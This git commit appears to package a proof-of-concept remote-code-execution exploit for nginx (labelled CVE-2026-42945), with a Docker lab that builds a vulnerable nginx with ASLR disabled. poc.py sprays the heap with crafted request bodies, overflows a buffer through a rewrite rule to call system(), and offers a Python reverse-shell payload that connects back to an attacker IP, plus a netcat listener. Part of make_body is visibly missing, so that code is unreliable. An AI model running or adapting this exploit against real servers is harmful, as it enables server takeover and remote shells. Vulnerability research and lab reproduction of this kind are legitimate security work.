commit 90f4b4a30232fcf0dc6a9f1614f6767921e92bdf Author: Markakd Date: Tue May 12 16:36:31 2026 -0700 init diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..55abf04 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,24 @@ +FROM ubuntu:22.04 +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt-get update && apt-get install -y \ + gcc make libpcre2-dev libssl-dev zlib1g-dev \ + util-linux python3 curl git \ + && rm -rf /var/lib/apt/lists/* + +RUN git clone https://github.com/nginx/nginx.git /nginx-src \ + && cd /nginx-src && git checkout 98fc3bb78 + +RUN cd /nginx-src && ./auto/configure \ + --builddir=build \ + --with-cc-opt='-g -O2 -fno-omit-frame-pointer' \ + --with-ld-opt='-Wl,-z,relro -Wl,-z,now' \ + --with-http_ssl_module --with-http_v2_module \ + && make -j$(nproc) + +WORKDIR /app +COPY nginx.conf server.py entrypoint.sh ./ +RUN chmod +x entrypoint.sh && mkdir -p logs tmp + +ENTRYPOINT ["/app/entrypoint.sh"] +EXPOSE 19321 diff --git a/README.md b/README.md new file mode 100644 index 0000000..b9eab99 --- /dev/null +++ b/README.md @@ -0,0 +1,4 @@ +# Nginx Rift Exploit + +**CVE:** CVE-2026-42945 +**Tested on:** Ubuntu 24.04.3 LTS diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..6f7a53a --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,12 @@ +services: + nginx: + build: . + cap_add: + - SYS_PTRACE + security_opt: + - seccomp=unconfined + init: true + ports: + - "19321:19321" + tty: true + stdin_open: true diff --git a/entrypoint.sh b/entrypoint.sh new file mode 100755 index 0000000..1512bf5 --- /dev/null +++ b/entrypoint.sh @@ -0,0 +1,5 @@ +#!/bin/bash +cd /app +python3 server.py &>/dev/null & +# setarch -R disables ASLR for the launched process (deterministic addresses) +exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.conf diff --git a/nginx.conf b/nginx.conf new file mode 100644 index 0000000..cb5361f --- /dev/null +++ b/nginx.conf @@ -0,0 +1,59 @@ +daemon off; +worker_processes 1; +error_log logs/error.log; +pid tmp/nginx.pid; +worker_rlimit_core 500M; +working_directory tmp; + +events { + worker_connections 1024; +} + +http { + access_log off; + client_body_temp_path tmp; + proxy_temp_path tmp; + fastcgi_temp_path tmp; + uwsgi_temp_path tmp; + scgi_temp_path tmp; + + upstream backend { + server 127.0.0.1:19323; + } + + server { + listen 19322; + location / { return 200 "backend ok\n"; } + } + + server { + listen 19321; + request_pool_size 7920; + connection_pool_size 4096; + client_header_buffer_size 2048; + + # The rewrite + set combination triggers the bug: + # - rewrite sets e->is_args = 1 (due to '?' in replacement) + # - set $original_endpoint $1 allocates buffer using raw capture + # length, but copies with escape expansion (3x for '+' chars) + location ~ ^/api/(.*)$ { + rewrite ^/api/(.*)$ /internal?migrated=true; + set $original_endpoint $1; + } + + location /internal { + internal; + proxy_pass http://backend; + proxy_read_timeout 60s; + } + + # Spray: POST body stored in pool memory (binary data, NUL bytes allowed) + location /spray { + client_body_in_single_buffer on; + proxy_pass http://backend; + proxy_read_timeout 60s; + } + + location / { return 200 "ok\n"; } + } +} diff --git a/poc.py b/poc.py new file mode 100755 index 0000000..a02dd49 --- /dev/null +++ b/poc.py @@ -0,0 +1,238 @@ +#!/usr/bin/env python3 +import argparse +import socket +import struct +import time +import sys + +BODY_LEN = 4000 +N_SPRAY = 20 + +SAFE = set() +_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001, + 0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff] +for _b in range(256): + if not (_t[_b >> 5] & (1 << (_b & 0x1f))): + SAFE.add(_b) + +HEAP_BASE = 0x555555659000 +LIBC_BASE = 0x7ffff77ba000 +SYSTEM_ADDR = LIBC_BASE + 0x50d70 + +PREREAD_HEAP_OFFSETS = [ + 0x05a427, 0x060e67, + 0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97, + 0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7, + 0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37, + 0x103847, 0x108657, 0x10d467, +] + + +def addr_is_safe(addr): + return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6)) + + +def make_body(cmd, data_addr): + fake_struct = struct.pack(' BODY_LEN: + print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})") + sys.exit(1) + return payload + b'\x41' * (BODY_LEN - len(payload)) + + +def wait_alive(host, port, timeout=30): + for _ in range(timeout): + try: + s = socket.create_connection((host, port), timeout=2) + s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n") + s.recv(100) + s.close() + return True + except Exception: + time.sleep(1) + return False + + +def attempt(host, port, target_bytes, body): + sprays = [] + for i in range(N_SPRAY): + try: + s = socket.create_connection((host, port), timeout=5) + req = ( + b"POST /spray HTTP/1.1\r\n" + b"Host: l\r\n" + b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n" + b"X-Delay: 60\r\n" + b"Connection: close\r\n" + b"\r\n" + + body + ) + s.sendall(req) + sprays.append(s) + except Exception: + break + time.sleep(0.005) + time.sleep(0.2) + + try: + a = socket.create_connection((host, port), timeout=5) + time.sleep(0.02) + v = socket.create_connection((host, port), timeout=5) + time.sleep(0.02) + except Exception: + for s in sprays: + try: + s.close() + except Exception: + pass + return False + + payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1") + a.sendall((f"GET /api/{payload} HTTP/1.1\r\n" + f"Host:localhost\r\n").encode("latin-1")) + time.sleep(0.05) + v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n") + time.sleep(0.05) + a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n") + time.sleep(0.2) + + v.close() + time.sleep(0.1) + + crashed = False + try: + a.sendall(b"X-Ping:1\r\n") + a.settimeout(0.2) + data = a.recv(1) + if not data: + crashed = True + except socket.timeout: + # It timed out. Nginx is either alive (waiting for backend) or hung in system(). + # Let's try to make a new connection to see if the worker is responsive. + try: + check_sock = socket.create_connection((host, port), timeout=0.2) + check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n") + check_data = check_sock.recv(10) + check_sock.close() + if not check_data: + crashed = True + else: + crashed = False + except Exception: + crashed = True + except (ConnectionResetError, BrokenPipeError, OSError): + crashed = True + + for s in sprays: + try: + s.close() + except Exception: + pass + try: + a.close() + except Exception: + pass + return crashed + + +def main(): + parser = argparse.ArgumentParser( + description="nginx rift RCE exploit (ASLR disabled)" + ) + parser.add_argument("--host", default="127.0.0.1", + help="target host (default: 127.0.0.1)") + parser.add_argument("--port", type=int, default=19321, + help="target port (default: 19321)") + parser.add_argument("--cmd", + help="shell command to execute via system()") + parser.add_argument("--shell", action="store_true", + help="execute a reverse shell back to the attacker") + parser.add_argument("--listen-port", type=int, default=1337, + help="port to listen on for reverse shell (default: 1337)") + parser.add_argument("--listen-ip", type=str, default="172.17.0.1", + help="IP address for reverse shell to connect back to (default: 172.17.0.1)") + args = parser.parse_args() + + if not args.cmd and not args.shell: + parser.error("either --cmd or --shell must be specified") + if args.cmd and args.shell: + parser.error("cannot specify both --cmd and --shell") + + host = args.host + port = args.port + + if args.shell: + local_ip = args.listen_ip + cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" + print(f"[*] Generated reverse shell command: {cmd}") + else: + cmd = args.cmd + + if args.shell: + import threading + def listen_shell(): + print(f"[*] Listening for reverse shell on port {args.listen_port}...") + # Use netcat if available, otherwise just use a simple socket listener + import subprocess + try: + subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True) + except Exception: + print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}") + + t = threading.Thread(target=listen_shell) + t.daemon = True + t.start() + # Give the listener a moment to start + time.sleep(1) + + candidates = [] + for i, off in enumerate(PREREAD_HEAP_OFFSETS): + addr = HEAP_BASE + off + if addr_is_safe(addr): + candidates.append((i, addr)) + + primary_addr = candidates[0][1] + data_addr = primary_addr + 24 + body = make_body(cmd, data_addr) + + print(f"[*] Waiting for nginx on {host}:{port}...") + if not wait_alive(host, port): + print("[!] nginx not responding") + return 1 + print("[+] Connected.") + + TRIES_PER_CANDIDATE = 10 + + for i, addr in candidates: + target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)]) + + for t in range(TRIES_PER_CANDIDATE): + if not wait_alive(host, port, timeout=10): + time.sleep(2) + if not wait_alive(host, port, timeout=10): + print(" server not recovering, aborting") + return 1 + + crashed = attempt(host, port, target, body) + if crashed: + if args.shell: + try: + while True: + time.sleep(1) + except KeyboardInterrupt: + pass + else: + print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} " + f"crashed — system(\"{cmd}\") executed") + print(f"[+] Done.") + return 0 + time.sleep(0.3) + + print("[+] All candidates tried — no crash detected.") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/server.py b/server.py new file mode 100644 index 0000000..6b97e49 --- /dev/null +++ b/server.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python3 +"""Simple HTTP backend with configurable delay via X-Delay header.""" +import http.server +import time +import socketserver + +class BackendHandler(http.server.BaseHTTPRequestHandler): + def do_GET(self): + delay = float(self.headers.get('X-Delay', '5')) + time.sleep(delay) + self.send_response(200) + self.send_header('Content-Type', 'text/plain') + self.end_headers() + self.wfile.write(b'backend ok\n') + + def do_POST(self): + length = int(self.headers.get('Content-Length', 0)) + self.rfile.read(length) + delay = float(self.headers.get('X-Delay', '5')) + time.sleep(delay) + self.send_response(200) + self.send_header('Content-Type', 'text/plain') + self.end_headers() + self.wfile.write(b'backend ok\n') + + def log_message(self, format, *args): + pass + +socketserver.TCPServer.allow_reuse_address = True +with socketserver.TCPServer(("127.0.0.1", 19323), BackendHandler) as httpd: + print("Backend on :19323") + httpd.serve_forever() diff --git a/setup.sh b/setup.sh new file mode 100755 index 0000000..655d6bf --- /dev/null +++ b/setup.sh @@ -0,0 +1,19 @@ +#!/bin/bash +set -e +cd "$(dirname "$0")" + +echo "Building Docker image (compiles nginx from source)..." +docker compose build + +echo "" +echo "Done. To run:" +echo "" +echo " # Terminal 1 (server) — nginx runs with ASLR disabled (setarch -R):" +echo " docker compose up" +echo "" +echo " # Terminal 2 (attacker):" +echo " python3 poc.py --cmd 'touch /tmp/pwned'" +echo "" +echo " # Verify RCE:" +echo " docker compose exec nginx ls -la /tmp/pwned" +echo " docker compose exec nginx cat /tmp/pwned"